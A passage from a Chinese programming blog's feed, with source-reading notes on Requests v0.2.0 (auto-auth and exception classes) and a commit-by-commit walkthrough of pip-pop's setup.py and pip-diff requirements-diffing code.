<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_autoauth</span><span class="params">(url, authobject)</span>:</span></div><div class="line">    <span class="string">"""Registers given AuthObject to given URL domain. for auto-activation.</span></div><div class="line">    Once a URL is registered with an AuthObject, the configured HTTP</div><div class="line">    Authentication will be used for all requests with URLS containing the given</div><div class="line">    URL string.</div><div class="line"></div><div class="line">    Example: ::</div><div class="line">        &gt;&gt;&gt; c_auth = requests.AuthObject('kennethreitz', 'xxxxxxx')</div><div class="line">        &gt;&gt;&gt; requests.add_autoauth('https://convore.com/api/', c_auth)</div><div class="line">        &gt;&gt;&gt; r = requests.get('https://convore.com/api/account/verify.json')</div><div class="line">        # Automatically HTTP Authenticated! Wh00t!</div><div class="line"></div><div class="line">    :param url: Base URL for given AuthObject to auto-activate for.</div><div class="line">    :param authobject: AuthObject to auto-activate.</div><div class="line">    """</div><div class="line">    <span class="keyword">global</span> AUTOAUTHS</div><div class="line"></div><div class="line">    AUTOAUTHS.append((url, authobject))</div></pre></td></tr></table></figure>
<h2 id="异常相关"><a href="#异常相关" class="headerlink" title="异常相关"></a>异常相关</h2><p>不做过多解释。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">RequestException</span><span class="params">(Exception)</span>:</span></div><div class="line">    <span class="string">"""There was an ambiguous exception that occured while handling your request."""</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">AuthenticationError</span><span class="params">(RequestException)</span>:</span></div><div class="line">    <span class="string">"""The authentication credentials provided were invalid."""</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">URLRequired</span><span class="params">(RequestException)</span>:</span></div><div class="line">    <span class="string">"""A valid URL is required to make a request."""</span></div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">InvalidMethod</span><span class="params">(RequestException)</span>:</span></div><div class="line">    <span class="string">"""An inappropriate method was attempted."""</span></div></pre></td></tr></table></figure></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Requests v0.2.0 源码阅读&lt;/p&gt;
    
    </summary>
    
      <category term="编程之美" scheme="http://chybeta.github.io/categories/%E7%BC%96%E7%A8%8B%E4%B9%8B%E7%BE%8E/"/>
    
    
      <category term="python" scheme="http://chybeta.github.io/tags/python/"/>
    
      <category term="requests" scheme="http://chybeta.github.io/tags/requests/"/>
    
      <category term="源码阅读" scheme="http://chybeta.github.io/tags/%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB/"/>
    
  </entry>
  
  <entry>
    <title>pip-pop 源码阅读</title>
    <link href="http://chybeta.github.io/2018/10/12/pip-pop-%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB/"/>
    <id>http://chybeta.github.io/2018/10/12/pip-pop-源码阅读/</id>
    <published>2018-10-12T11:26:27.000Z</published>
    <updated>2018-10-12T11:43:32.216Z</updated>
    
    <content type="html"><![CDATA[<p>pip-pop源码阅读</p>
<a id="more"></a>
<h1 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h1><p><a href="https://github.com/heroku-python/pip-pop" target="_blank" rel="external">https://github.com/heroku-python/pip-pop</a></p>
<p>按照commit记录来阅读。</p>
<h1 id="lawyer-up"><a href="#lawyer-up" class="headerlink" title="lawyer up"></a>lawyer up</h1><p>commit记录： a84bc7439770063e457760a18119c10e5d802d3e</p>
<p>添加了<code>LICENSE</code>文件，采用MIT License</p>
<h1 id="dummy-dir"><a href="#dummy-dir" class="headerlink" title="dummy dir"></a>dummy dir</h1><p>commit记录： 636935f9394165c1d55c0e0d878cea60428a434e</p>
<p>创建了 <code>pip_pop</code>文件夹，在其中创建空文件<code>__init__.py</code>。 此时项目结构如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">.</div><div class="line">├── LICENSE</div><div class="line">└── pip_pop</div><div class="line">    └── __init__.py</div><div class="line"></div><div class="line">1 directory, 2 files</div></pre></td></tr></table></figure></p>
<h1 id="READ-IT"><a href="#READ-IT" class="headerlink" title="READ IT"></a>READ IT</h1><p>commit记录： ebdda7f8897403e9b77a2fa7023b2f4f8df1ecaa</p>
<p>项目结构如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">├── LICENSE</div><div class="line">├── README.rst</div><div class="line">└── pip_pop</div><div class="line">    └── __init__.py</div><div class="line"></div><div class="line">1 directory, 3 files</div></pre></td></tr></table></figure></p>
<p>增加了<code>README.rst</code>文件。用于说明该项目的用处，计划中实现的功能，未来可能实现的功能。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">pip-pop: tools for managing requirements files</div><div class="line">==============================================</div><div class="line"></div><div class="line">Planned Commands</div><div class="line">----------------</div><div class="line"></div><div class="line">Possible Future Commands</div><div class="line">------------------------</div></pre></td></tr></table></figure></p>
<h1 id="docopt"><a href="#docopt" class="headerlink" title="docopt"></a>docopt</h1><p>commit记录： f0e51cc56f55c4615e29b7a12264b20dbe12db66</p>
<p>项目结构如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">.</div><div class="line">├── LICENSE</div><div class="line">├── README.rst</div><div class="line">├── pip_pop</div><div class="line">│   └── __init__.py</div><div class="line">└── requirements.txt</div><div class="line"></div><div class="line">1 directory, 4 files</div></pre></td></tr></table></figure></p>
<p>增加了<code>requirements.txt</code>文件。</p>
<h1 id="note-about-blacklisting-plans"><a href="#note-about-blacklisting-plans" class="headerlink" title="note about blacklisting plans"></a>note about blacklisting plans</h1><p>commit记录： bf54913eaa70f9f505c414a7be328ff15040f37f</p>
<p>项目结构如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">.</div><div class="line">├── LICENSE</div><div class="line">├── README.rst</div><div class="line">├── pip_pop</div><div class="line">│   └── __init__.py</div><div class="line">└── requirements.txt</div><div class="line"></div><div class="line">1 directory, 4 files</div></pre></td></tr></table></figure></p>
<p>修改<code>READEME.rst</code>文件。</p>
<h1 id="Update-READEME-rst"><a href="#Update-READEME-rst" class="headerlink" title="Update READEME.rst"></a>Update READEME.rst</h1><p>commit记录： 2b444bc846071148dedf6773555e8b33f895765c</p>
<p>项目结构如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">.</div><div class="line">├── LICENSE</div><div class="line">├── README.rst</div><div class="line">├── pip_pop</div><div class="line">│   └── __init__.py</div><div class="line">└── requirements.txt</div><div class="line"></div><div class="line">1 directory, 4 files</div></pre></td></tr></table></figure></p>
<p>修改<code>README.rst</code>文件</p>
<h1 id="exes"><a href="#exes" class="headerlink" title="exes"></a>exes</h1><p>commit记录： fd65e4d148939f1c7405370e1f342f1fa1b3ea14</p>
<p>项目结构如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">.</div><div class="line">├── LICENSE</div><div class="line">├── README.rst</div><div class="line">├── bin</div><div class="line">│   ├── pip-diff</div><div class="line">│   └── pip-flatten</div><div class="line">├── pip_pop</div><div class="line">│   └── __init__.py</div><div class="line">├── requirements.txt</div><div class="line">└── setup.py</div><div class="line"></div><div class="line">2 directories, 7 files</div></pre></td></tr></table></figure></p>
<p>新增<code>bin/pip-diff</code>，<code>bin/pip-flatten</code>和<code>setup.py</code>。</p>
<p><code>bin/pip-diff</code>和<code>bin/pip-flatten</code>均是空文件。</p>
<p><code>setup.py</code>用于python库打包。代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div></pre></td><td class="code"><pre><div class="line"><span class="string">"""</span></div><div class="line">pip-pop manages your requirements files.</div><div class="line">"""</div><div class="line"><span class="keyword">import</span> sys</div><div class="line"><span class="keyword">from</span> setuptools <span class="keyword">import</span> setup</div><div class="line"></div><div class="line"></div><div class="line">setup(</div><div class="line">    name=<span class="string">'pip-pop'</span>,</div><div class="line">    version=<span class="string">'0.0.0'</span>,</div><div class="line">    url=<span class="string">'https://github.com/kennethreitz/pip-pop'</span>,</div><div class="line">    license=<span class="string">'MIT'</span>,</div><div class="line">    author=<span class="string">'Kenneth Reitz'</span>,</div><div class="line">    author_email=<span class="string">'me@kennethreitz.org'</span>,</div><div class="line">    description=__doc__.strip(<span class="string">'\n'</span>),</div><div class="line">    <span class="comment">#packages=[],</span></div><div class="line">    scripts=[<span class="string">'bin/pip-diff'</span>, <span class="string">'bin/pip-flatten'</span>],</div><div class="line">    <span class="comment">#include_package_data=True,</span></div><div class="line">    zip_safe=<span class="keyword">False</span>,</div><div class="line">    platforms=<span class="string">'any'</span>,</div><div class="line">    install_requires=[<span class="string">'docopt'</span>],</div><div class="line">    classifiers=[</div><div class="line">        <span class="comment"># As from https://pypi.python.org/pypi?%3Aaction=list_classifiers</span></div><div class="line">        <span class="comment">#'Development Status :: 1 - Planning',</span></div><div class="line">        <span class="comment">#'Development Status :: 2 - Pre-Alpha',</span></div><div class="line">        <span class="comment">#'Development Status :: 3 - Alpha',</span></div><div class="line">        <span class="string">'Development Status :: 4 - Beta'</span>,</div><div class="line">        <span class="comment">#'Development Status :: 5 - Production/Stable',</span></div><div class="line">        <span class="comment">#'Development Status :: 6 - Mature',</span></div><div class="line">        <span class="comment">#'Development Status :: 7 - Inactive',</span></div><div class="line">        <span class="string">'Programming Language :: Python'</span>,</div><div class="line">        <span class="string">'Programming Language :: Python :: 2'</span>,</div><div class="line">        <span class="comment">#'Programming Language :: Python :: 2.3',</span></div><div class="line">        <span class="comment">#'Programming Language :: Python :: 2.4',</span></div><div class="line">        <span class="comment">#'Programming Language :: Python :: 2.5',</span></div><div class="line">        <span class="string">'Programming Language :: Python :: 2.6'</span>,</div><div class="line">        <span class="string">'Programming Language :: Python :: 2.7'</span>,</div><div class="line">        <span class="comment">#'Programming Language :: Python :: 3',</span></div><div class="line">        <span class="comment">#'Programming Language :: Python :: 3.0',</span></div><div class="line">        <span class="comment">#'Programming Language :: Python :: 3.1',</span></div><div class="line">        <span class="comment">#'Programming Language :: Python :: 3.2',</span></div><div class="line">        <span class="comment">#'Programming Language :: Python :: 3.3',</span></div><div class="line">        <span class="string">'Intended Audience :: Developers'</span>,</div><div class="line">        <span class="string">'Intended Audience :: System Administrators'</span>,</div><div class="line">        <span class="string">'License :: OSI Approved :: BSD License'</span>,</div><div class="line">        <span class="string">'Operating System :: OS Independent'</span>,</div><div class="line">        <span class="string">'Topic :: System :: Systems Administration'</span>,</div><div class="line">    ]</div><div class="line">)</div></pre></td></tr></table></figure></p>
<p>从<code>setuptools</code>导入<code>setup</code>函数，其中参数的含义如下：</p>
<div class="table-container">
<table>
<thead>
<tr>
<th style="text-align:center">参数</th>
<th style="text-align:center">含义</th>
<th style="text-align:center">值</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">name</td>
<td style="text-align:center">包名字</td>
<td style="text-align:center">pip-pop</td>
</tr>
<tr>
<td style="text-align:center">version</td>
<td style="text-align:center">包版本</td>
<td style="text-align:center">0.0.0</td>
</tr>
<tr>
<td style="text-align:center">url</td>
<td style="text-align:center">程序官网地址</td>
<td style="text-align:center"><a href="https://github.com/kennethreitz/pip-pop" target="_blank" rel="external">https://github.com/kennethreitz/pip-pop</a></td>
</tr>
<tr>
<td style="text-align:center">license</td>
<td style="text-align:center">授权信息</td>
<td style="text-align:center">MIT</td>
</tr>
<tr>
<td style="text-align:center">author</td>
<td style="text-align:center">程序作者</td>
<td style="text-align:center">Kenneth Reitz</td>
</tr>
<tr>
<td style="text-align:center">author_email</td>
<td style="text-align:center">作者邮箱</td>
<td style="text-align:center">me@kennethreitz.org</td>
</tr>
<tr>
<td style="text-align:center">description</td>
<td style="text-align:center">程序简单描述</td>
<td style="text-align:center">__doc__.strip(‘\n’)</td>
</tr>
<tr>
<td style="text-align:center">scripts</td>
<td style="text-align:center">指定可执行脚本，安装时脚本会被添加到系统PATH中</td>
<td style="text-align:center">[‘bin/pip-diff’, ‘bin/pip-flatten’]</td>
</tr>
<tr>
<td style="text-align:center">zip_safe</td>
<td style="text-align:center">不压缩包，以目录形式安装</td>
<td style="text-align:center">False</td>
</tr>
<tr>
<td style="text-align:center">platforms</td>
<td style="text-align:center">程序适合的平台</td>
<td style="text-align:center">‘any’</td>
</tr>
<tr>
<td style="text-align:center">install_requires</td>
<td style="text-align:center">安装时需要安装的依赖包</td>
<td style="text-align:center">[‘docopt’]</td>
</tr>
<tr>
<td style="text-align:center">classifiers</td>
<td style="text-align:center">分类信息</td>
<td style="text-align:center">详细见下</td>
</tr>
</tbody>
</table>
</div>
<h1 id="diffing-works"><a href="#diffing-works" class="headerlink" title="diffing works!"></a>diffing works!</h1><p>commit记录： d58196205cea3a4650d68443dd90132bbd4b2b4e</p>
<p>项目结构如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">.</div><div class="line">├── LICENSE</div><div class="line">├── README.rst</div><div class="line">├── bin</div><div class="line">│   ├── pip-diff</div><div class="line">│   └── pip-flatten</div><div class="line">├── pip_pop</div><div class="line">│   └── __init__.py</div><div class="line">├── requirements.txt</div><div class="line">└── setup.py</div><div class="line"></div><div class="line">2 directories, 7 files</div></pre></td></tr></table></figure></p>
<p>更改了<code>bin/pip-diff</code>文件。代码整体的格式如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#!/usr/bin/env python</span></div><div class="line"><span class="comment"># -*- coding: utf-8 -*-</span></div><div class="line"></div><div class="line"><span class="string">"""Usage:</span></div><div class="line">  pip-diff (--fresh | --stale) &lt;reqfile1&gt; &lt;reqfile2&gt;</div><div class="line">  pip-diff (-h | --help)</div><div class="line"></div><div class="line">Options:</div><div class="line">  -h --help     Show this screen.</div><div class="line">  --fresh       List newly added packages.</div><div class="line">  --stale       List removed packages.</div><div class="line">"""</div><div class="line"><span class="keyword">import</span> os</div><div class="line"><span class="keyword">from</span> docopt <span class="keyword">import</span> docopt</div><div class="line"><span class="keyword">from</span> pkg_resources <span class="keyword">import</span> parse_requirements</div><div class="line"></div><div class="line"></div><div class="line"><span class="comment"># <span class="doctag">TODO:</span> ignore lines</span></div><div class="line">IGNORABLE_LINES = <span class="string">'#'</span>, <span class="string">'-r'</span></div><div class="line">VERSION_OPERATORS = [<span class="string">'=='</span>, <span class="string">'&gt;='</span>, <span class="string">'&lt;='</span>, <span class="string">'&gt;'</span>, <span class="string">'&lt;'</span>, <span class="string">','</span>]</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">split</span><span class="params">(s)</span>:</span>...</div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Requirements</span><span class="params">(object)</span>:</span>...</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">diff</span><span class="params">(r1, r2, include_fresh=False, include_stale=False)</span>:</span>...</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span>...</div><div class="line"></div><div class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</div><div class="line">    main()</div></pre></td></tr></table></figure></p>
<p>第一行<code>#!/usr/bin/env python</code>，用于为脚本语言指定解释器，这样可以直接<code>./*.py</code>的方式执行，不要使用<code>#!/usr/bin/python</code>，因为python可能不是安装在默认的环境。</p>
<p>第二行<code># -*- coding: utf-8 -*-</code>用于指定编码为 <code>utf-8</code>，这样可以在py文件中写中文，方便写注释和消息。</p>
<p>最下面的<code>if __name__ == &#39;__main__&#39;:</code>的意思是，当该py文件被直接运行时，<code>if __name__ == &#39;__main__&#39;:</code>之下的<code>main()</code>将被调用执行，当该py文件被以模块的形式导入时，<code>if __name__ == &#39;__main__&#39;:</code>不被运行。</p>
<p><code>main()</code>函数源代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></div><div class="line">    args = docopt(__doc__, version=<span class="string">'pip-diff'</span>)</div><div class="line"></div><div class="line">    kwargs = &#123;</div><div class="line">        <span class="string">'r1'</span>: args[<span class="string">'&lt;reqfile1&gt;'</span>],</div><div class="line">        <span class="string">'r2'</span>: args[<span class="string">'&lt;reqfile2&gt;'</span>],</div><div class="line">        <span class="string">'include_fresh'</span>: args[<span class="string">'--fresh'</span>],</div><div class="line">        <span class="string">'include_stale'</span>: args[<span class="string">'--stale'</span>]</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    diff(**kwargs)</div></pre></td></tr></table></figure></p>
<p>通过<code>args = docopt(__doc__, version=&#39;pip-diff&#39;)</code> 来获取对应的命令行参数，参数要求见程序开头的那一段注释:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">Usage:</div><div class="line">  pip-diff (--fresh | --stale) &lt;reqfile1&gt; &lt;reqfile2&gt;</div><div class="line">  pip-diff (-h | --help)</div><div class="line"></div><div class="line">Options:</div><div class="line">  -h --help     Show this screen.</div><div class="line">  --fresh       List newly added packages.</div><div class="line">  --stale       List removed packages.</div></pre></td></tr></table></figure></p>
<p><code>args</code>解析完命令行参数后，会返回一个<code>Dict</code>类型。然后通过<code>kwargs</code>解析出对应的变量。。<code>--fresh</code>和<code>--stale</code>的作用是<code>Generates a diff between two given requirements files. Lists either stale or fresh packages.</code>。以命令行参数<code>--fresh D:\temp\req1 D:\temp\req2</code>为例</p>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20180726/1.jpg" alt=""></p>
<p>然后程序进入<code>diff(**kwargs)</code>， diff函数：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">diff</span><span class="params">(r1, r2, include_fresh=False, include_stale=False)</span>:</span></div><div class="line">    <span class="comment"># assert that r1 and r2 are files.</span></div><div class="line"></div><div class="line">    <span class="keyword">try</span>:</div><div class="line">        r1 = Requirements(r1)</div><div class="line">        r2 = Requirements(r2)</div><div class="line">    <span class="keyword">except</span> ValueError:</div><div class="line">        <span class="keyword">print</span> <span class="string">'There was a problem loading the given requirements files.'</span></div><div class="line">        exit(os.EX_NOINPUT)</div><div class="line"></div><div class="line">    results = r1.diff(r2)</div><div class="line">    <span class="keyword">print</span> results</div></pre></td></tr></table></figure></p>
<p><code>Requirements</code>对象定义如下，其中的<code>diff</code>函数先暂时省略：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Requirements</span><span class="params">(object)</span>:</span></div><div class="line">    <span class="string">"""docstring for Requirements"""</span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, reqfile=None)</span>:</span></div><div class="line">        super(Requirements, self).__init__()</div><div class="line">        self.path = reqfile</div><div class="line">        self.requirements = []</div><div class="line"></div><div class="line">        <span class="keyword">if</span> reqfile:</div><div class="line">            self.load(reqfile)</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__repr__</span><span class="params">(self)</span>:</span></div><div class="line">        <span class="keyword">return</span> <span class="string">'&lt;Requirements \'&#123;&#125;\'&gt;'</span>.format(self.path)</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">load</span><span class="params">(self, reqfile)</span>:</span></div><div class="line"></div><div class="line">        <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(reqfile):</div><div class="line">            <span class="keyword">raise</span> ValueError(<span class="string">'The given requirements file does not exist.'</span>)</div><div class="line"></div><div class="line">        <span class="keyword">with</span> open(reqfile) <span class="keyword">as</span> f:</div><div class="line">            data = []</div><div class="line"></div><div class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> f:</div><div class="line">                line = line.strip()</div><div class="line"></div><div class="line">                <span class="comment"># Skip lines that start with any comment/control charecters.</span></div><div class="line">                <span class="keyword">if</span> <span class="keyword">not</span> any([line.startswith(p) <span class="keyword">for</span> p <span class="keyword">in</span> IGNORABLE_LINES]):</div><div class="line">                    data.append(line)</div><div class="line"></div><div class="line">            <span class="keyword">for</span> requirement <span class="keyword">in</span> parse_requirements(data):</div><div class="line">                self.requirements.append(requirement)</div><div class="line"></div><div class="line"></div><div class="line">        <span class="comment"># assert that the given file exists</span></div><div class="line">        <span class="comment"># parse the file</span></div><div class="line">        <span class="comment"># insert those entries into self.declarations</span></div><div class="line">        <span class="keyword">pass</span></div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">diff</span><span class="params">(self, requirements, ignore_versions=False)</span>:</span></div><div class="line">        。。。</div></pre></td></tr></table></figure></p>
<p>以<code>Requirements(r1)</code>为例，传入的参数为<code>D:\\temp\\req1</code>，在<code>__init__</code>中进入<code>self.load(reqfile)</code>，首先判断了文件的存在。然后对于文件中的每一行（<code>for line in f:</code>），去除它末尾的换行符（<code>line = line.strip()</code>），然后判断其是否以注释或控制字符开头（<code>[line.startswith(p) for p in IGNORABLE_LINES]</code>），若不是则将其加入到<code>data</code>中。之后调用<code>parse_requirements(data)</code>进行解析：<br><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20180726/2.jpg" alt=""></p>
<p>在pass之后，返回给<code>r1</code><br><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20180726/3.jpg" alt=""></p>
<p>在<code>r2</code>对象实例化后，进行<code>results = r1.diff(r2)</code>，在<code>class Requirements(object)</code>中定义了diff方法代码如下：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Requirements</span><span class="params">(object)</span>:</span></div><div class="line">    ...</div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">diff</span><span class="params">(self, requirements, ignore_versions=False)</span>:</span></div><div class="line">        r1 = self</div><div class="line">        r2 = requirements</div><div class="line">        results = &#123;<span class="string">'fresh'</span>: [], <span class="string">'stale'</span>: []&#125;</div><div class="line"></div><div class="line">        <span class="comment"># Generate fresh packages.</span></div><div class="line">        other_reqs = (</div><div class="line">            [r.project_name <span class="keyword">for</span> r <span class="keyword">in</span> r1.requirements]</div><div class="line">            <span class="keyword">if</span> ignore_versions <span class="keyword">else</span> r1.requirements</div><div class="line">        )</div><div class="line"></div><div class="line">        <span class="keyword">for</span> req <span class="keyword">in</span> r2.requirements:</div><div class="line">            r = req.project_name <span class="keyword">if</span> ignore_versions <span class="keyword">else</span> req</div><div class="line"></div><div class="line">            <span class="keyword">if</span> r <span class="keyword">not</span> <span class="keyword">in</span> other_reqs:</div><div class="line">                results[<span class="string">'fresh'</span>].append(req)</div><div class="line"></div><div class="line">        <span class="comment"># Generate stale packages.</span></div><div class="line">        other_reqs = (</div><div class="line">            [r.project_name <span class="keyword">for</span> r <span class="keyword">in</span> r2.requirements]</div><div class="line">            <span class="keyword">if</span> ignore_versions <span class="keyword">else</span> r2.requirements</div><div class="line">        )</div><div class="line"></div><div class="line">        <span class="keyword">for</span> req <span class="keyword">in</span> r1.requirements:</div><div class="line">            r = req.project_name <span class="keyword">if</span> ignore_versions <span class="keyword">else</span> req</div><div class="line"></div><div class="line">            <span class="keyword">if</span> r <span class="keyword">not</span> <span class="keyword">in</span> other_reqs:</div><div class="line">                results[<span class="string">'stale'</span>].append(req)</div><div class="line"></div><div class="line">        <span class="keyword">return</span> results</div></pre></td></tr></table></figure></p>
<h1 id="output-for-pip-diff-works"><a href="#output-for-pip-diff-works" class="headerlink" title="output for pip-diff works!"></a>output for pip-diff works!</h1><p>commit记录： d6ae563831228dd6d7e712d69763663032410391</p>
<p>项目结构如下：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">.</div><div class="line">├── LICENSE</div><div class="line">├── README.rst</div><div class="line">├── bin</div><div class="line">│   ├── pip-diff</div><div class="line">│   └── pip-flatten</div><div class="line">├── pip_pop</div><div class="line">│   └── __init__.py</div><div class="line">├── requirements.txt</div><div class="line">└── setup.py</div><div class="line"></div><div class="line">2 directories, 7 files</div></pre></td></tr></table></figure></p>
